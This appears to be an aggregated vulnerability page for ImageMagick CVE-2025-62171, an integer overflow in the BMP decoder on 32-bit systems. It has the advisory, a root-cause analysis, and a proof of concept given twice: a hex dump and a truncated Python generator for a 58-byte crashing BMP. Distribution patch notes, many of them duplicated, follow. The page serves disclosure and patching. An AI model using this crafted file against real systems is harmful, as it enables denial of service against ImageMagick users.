CVE-2025-62171

ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with size_t of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytes_per_line calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with size_t of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.

Summary

CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.

The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.

Affected Versions:

• ImageMagick < 7.1.2-2 (originally reported)
• ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)

Platform and Configuration Requirements:

• 32-bit systems ONLY (i386, i686, armv7l, etc.)
• Requires size_t = 4 bytes. (64-bit systems are NOT vulnerable (size_t = 8 bytes))
• Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).

Details(Root Cause Analysis)

Vulnerable Code Location

File: coders/bmp.c
Lines: 1120-1122 (in version 7.1.2-5)

The Incomplete Patch

// Line 1120: Integer overflow happens HERE
extent = image->columns * bmp_info.bits_per_pixel;  // OVERFLOW!

// Line 1121: Uses already-overflowed value
bytes_per_line = 4*((extent+31)/32);

// Line 1122: Checks the RESULT, not the multiplication
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Why the Patch Fails

Attack Vector (32-bit system):

Input BMP Header:
  Width: 536,870,912 (0x20000000)
  Height: 1
  Bits Per Pixel: 32

Calculation on 32-bit system:
  extent = 536,870,912 × 32
         = 17,179,869,184 (0x400000000)
         
  32-bit truncation:
  0x400000000 & 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!
  
  bytes_per_line = 4 × ((0 + 31) / 32)
                 = 4 × 0
                 = 0
  
  BMPOverflowCheck(0, 1):
    return (1 != 0) && (0 > 4294967295UL/1)
    return True && (0 > 4294967295)
    return True && False
    return False  ← Does NOT detect overflow!

The check fails because:

1. The overflow happens at Line 1120 (extent calculation)
2. extent becomes 0 due to 32-bit truncation
3. bytes_per_line is calculated as 0 (Line 1121)
4. BMPOverflowCheck(0, 1) returns False (no overflow detected)
5. Code proceeds with corrupted values → ASan crash

PoC(Proof of Concept)

Minimal 58-byte BMP File

Hex dump:

00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

Key Fields:

• Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912)
• Offset 0x16: Height = 01 00 00 00 = 1
• Offset 0x1C: BPP = 20 00 = 32

Python Generator

#!/usr/bin/env python3
import struct

width = 0x20000000   # 536,870,912
height = 1
bpp = 32

# BMP File Header (14 bytes)
file_header = b'BM'
file_header += struct.pack('<I', 58)      # File size
file_header += struct.pack('<HH', 0, 0)   # Reserved
file_header += struct.pack('<I', 54)      # Pixel offset

# DIB Header (40 bytes)
dib_header = struct.pack('<I', 40)        # Header size
dib_header += struct.pack('<i', width)    # Width
dib_header += struct.pack('<i', height)   # Height
dib_header += struct.pack('<H', 1)        # Planes
dib_header += struct.pack('<H', bpp)      # BPP
dib_header += struct.pack('<I', 0)        # Compression
dib_header += struct.pack('<I', 0)        # Image size
dib_header += struct.pack('<i', 2835)     # X ppm
dib_header += struct.pack('<i', 2835)     # Y ppm
dib_header += struct.pack('<I', 0)        # Colors
dib_header += struct.pack('<I', 0)        # Important colors

pixel_data = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f:
    f.write(file_header + dib_header +…

Summary

CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.

The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.

Affected Versions:

• ImageMagick < 7.1.2-2 (originally reported)
• ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)

Platform and Configuration Requirements:

• 32-bit systems ONLY (i386, i686, armv7l, etc.)
• Requires size_t = 4 bytes. (64-bit systems are NOT vulnerable (size_t = 8 bytes))
• Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).

Details(Root Cause Analysis)

Vulnerable Code Location

File: coders/bmp.c Lines: 1120-1122 (in version 7.1.2-5)

The Incomplete Patch

// Line 1120: Integer overflow happens HERE
extent = image->columns * bmp_info.bits_per_pixel;  // OVERFLOW!

// Line 1121: Uses already-overflowed value
bytes_per_line = 4*((extent+31)/32);

// Line 1122: Checks the RESULT, not the multiplication
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Why the Patch Fails

Attack Vector (32-bit system):

Input BMP Header:
  Width: 536,870,912 (0x20000000)
  Height: 1
  Bits Per Pixel: 32

Calculation on 32-bit system:
  extent = 536,870,912 × 32
         = 17,179,869,184 (0x400000000)
         
  32-bit truncation:
  0x400000000 & 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!
  
  bytes_per_line = 4 × ((0 + 31) / 32)
                 = 4 × 0
                 = 0
  
  BMPOverflowCheck(0, 1):
    return (1 != 0) && (0 > 4294967295UL/1)
    return True && (0 > 4294967295)
    return True && False
    return False  ← Does NOT detect overflow!

The check fails because:

1. The overflow happens at Line 1120 (extent calculation)
2. extent becomes 0 due to 32-bit truncation
3. bytes_per_line is calculated as 0 (Line 1121)
4. BMPOverflowCheck(0, 1) returns False (no overflow detected)
5. Code proceeds with corrupted values → ASan crash

PoC(Proof of Concept)

Minimal 58-byte BMP File

Hex dump:

00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

Key Fields:

• Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912)
• Offset 0x16: Height = 01 00 00 00 = 1
• Offset 0x1C: BPP = 20 00 = 32

Python Generator

#!/usr/bin/env python3
import struct

width = 0x20000000   # 536,870,912
height = 1
bpp = 32

# BMP File Header (14 bytes)
file_header = b'BM'
file_header += struct.pack('<I', 58)      # File size
file_header += struct.pack('<HH', 0, 0)   # Reserved
file_header += struct.pack('<I', 54)      # Pixel offset

# DIB Header (40 bytes)
dib_header = struct.pack('<I', 40)        # Header size
dib_header += struct.pack('<i', width)    # Width
dib_header += struct.pack('<i', height)   # Height
dib_header += struct.pack('<H', 1)        # Planes
dib_header += struct.pack('<H', bpp)      # BPP
dib_header += struct.pack('<I', 0)        # Compression
dib_header += struct.pack('<I', 0)        # Image size
dib_header += struct.pack('<i', 2835)     # X ppm
dib_header += struct.pack('<i', 2835)     # Y ppm
dib_header += struct.pack('<I', 0)        # Colors
dib_header += struct.pack('<I', 0)        # Important colors

pixel_data = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f:
   …

Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.

Security Fix(es):

ImageMagick contains an integer overflow vulnerability in the BMP decoder. An attacker can exploit this vulnerability by providing a specially crafted BMP file, leading to buffer overflow or denial of service.(CVE-2025-62171)

Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.

Security Fix(es):

ImageMagick contains an integer overflow vulnerability in the BMP decoder. An attacker can exploit this vulnerability by providing a specially crafted BMP file, leading to buffer overflow or denial of service.(CVE-2025-62171)

Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.

Security Fix(es):

ImageMagick contains an integer overflow vulnerability in the BMP decoder. An attacker can exploit this vulnerability by providing a specially crafted BMP file, leading to buffer overflow or denial of service.(CVE-2025-62171)

Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.

Security Fix(es):

ImageMagick contains an integer overflow vulnerability in the BMP decoder. An attacker can exploit this vulnerability by providing a specially crafted BMP file, leading to buffer overflow or denial of service.(CVE-2025-62171)

Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.

Security Fix(es):

ImageMagick contains an integer overflow vulnerability in the BMP decoder. An attacker can exploit this vulnerability by providing a specially crafted BMP file, leading to buffer overflow or denial of service.(CVE-2025-62171)

Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.

Security Fix(es):

ImageMagick contains an integer overflow vulnerability in the BMP decoder. An attacker can exploit this vulnerability by providing a specially crafted BMP file, leading to buffer overflow or denial of service.(CVE-2025-62171)

ImageMagick is a software suite to create, edit, compose, or convert bitmap images. ImageMagick versions prior to 7.1.2-8 are vulnerable to denial-of-service due to unsigned integer underflow and division-by-zero in the CLAHEImage function. When tile width or height is zero, unsigned underflow occurs in pointer arithmetic, leading to out-of-bounds memory access, and division-by-zero causes immediate crashes. This issue has been patched in version 7.1.2-8.(CVE-2025-62594)

ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with size_t of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytes_per_line calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with size_t of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.

• CVE-2025-62171: add overflow check before calculating extent in the BMP decoder

• SECURITY UPDATE: integer overflow vulnerability in BMP decoder on 32-bit systems
  • debian/patches/CVE-2025-62171.patch: add extra check to fix issue on 32-bit systems
  • CVE-2025-62171

• SECURITY UPDATE: integer overflow vulnerability in BMP decoder on 32-bit systems
  • debian/patches/CVE-2025-62171.patch: add extra check to resolve issue on 32-bit systems
  • CVE-2025-62171

• SECURITY UPDATE: integer overflow vulnerability in BMP decoder on 32-bit systems
  • debian/patches/CVE-2025-62171.patch: add extra check to resolve issue on 32-bit systems caused by memory allocation failure
  • CVE-2025-62171

• SECURITY UPDATE: fix vulnerability in stream handling
  • debian/patches/CVE-2025-53019.patch: fix vulnerability in stream handling
  • CVE-2025-53019
• SECURITY UPDATE: fix integer overflow in resize
  • debian/patches/CVE-2025-55212.patch: fix integer overflow in resize
  • CVE-2025-55212
• SECURITY UPDATE: fix heap-based buffer overflow in image processing
  • debian/patches/CVE-2025-55298.patch: fix heap-based buffer overflow in image processing
  • CVE-2025-55298
• SECURITY UPDATE: fix buffer overflow in BMP coder
  • debian/patches/CVE-2025-57803.patch: fix buffer overflow in BMP coder
  • CVE-2025-57803
• SECURITY UPDATE: fix vulnerability in PNG coder
  • debian/patches/CVE-2025-55154.patch: fix vulnerability in PNG coder
  • CVE-2025-55154
• SECURITY UPDATE: fix buffer overflow in BMP coder on 32-bit systems
  • debian/patches/CVE-2025-62171.patch: fix buffer overflow in BMP coder on 32-bit systems
  • CVE-2025-62171
• SECURITY UPDATE: fix stack overflow via infinite recursion in MSL and SVG coders
  • debian/patches/CVE-2025-68618.patch: fix stack overflow via infinite recursion in MSL and SVG coders
  • CVE-2025-68618
• SECURITY UPDATE: fix denial of service in SVG coder
  • debian/patches/CVE-2025-69204.patch: fix denial of service in SVG coder
  • CVE-2025-69204

These are all security issues fixed in the ImageMagick-7.1.2.7-1.1 package on the GA media of openSUSE Tumbleweed.

This update for ImageMagick fixes the following issues:

• CVE-2025-62594: unsigned underflow and division-by-zero can lead to OOB pointer arithmetic and process crash (bsc#1252749).
• CVE-2025-57807: BlobStream Forward-Seek Under-Allocation (bsc#1249362).
• CVE-2025-62171: incomplete fix for integer overflow in BMP Decoder (bsc#1252282).
• CVE-2025-55298: format string bug vulnerability can lead to heap overflow (bsc#1248780).
• CVE-2025-57803: 32-bit integer overflow can lead to heap out-of-bounds (OOB) write (bsc#1248784).
• CVE-2025-55212: division-by-zero in ThumbnailImage() when passing a geometry string containing only a colon to montage -geometry (bsc#1248767).

Root has patched CVE-2025-62171 in the rootio-imagemagick package for Root:Debian:12. Multiple fixed versions available.

Root has patched CVE-2025-62171 in the rootio-imagemagick package for Root:Debian:13. Multiple fixed versions available.

This update for ImageMagick fixes the following issues:

• CVE-2025-62594: unsigned underflow and division-by-zero can lead to OOB pointer arithmetic and process crash (bsc#1252749).
• CVE-2025-57807: BlobStream Forward-Seek Under-Allocation (bsc#1249362).
• CVE-2025-62171: incomplete fix for integer overflow in BMP Decoder (bsc#1252282).
• CVE-2025-55298: format string bug vulnerability can lead to heap overflow (bsc#1248780).
• CVE-2025-57803: 32-bit integer overflow can lead to heap out-of-bounds (OOB) write (bsc#1248784).
• CVE-2025-55212: division-by-zero in ThumbnailImage() when passing a geometry string containing only a colon to montage -geometry (bsc#1248767).

This update for ImageMagick fixes the following issues:

• CVE-2025-62171: Fixed incomplete fix for integer overflow in BMP Decoder (bsc#1252282).

This update for ImageMagick fixes the following issues:

• CVE-2025-62171: Fixed incomplete fix for integer overflow in BMP Decoder (bsc#1252282).

This update for ImageMagick fixes the following issues:

• CVE-2025-62171: Fixed incomplete fix for integer overflow in BMP Decoder (bsc#1252282).

This update for ImageMagick fixes the following issues:

• CVE-2025-62171: Fixed incomplete fix for integer overflow in BMP Decoder (bsc#1252282).

It was discovered that ImageMagick did not properly handle memory when encoding BMP images. An attacker could possibly use this issue to cause ImageMagick to crash, resulting in a denial of service, or possibly execute arbitrary code. This issue exists due to an incomplete fix for CVE-2025-57803.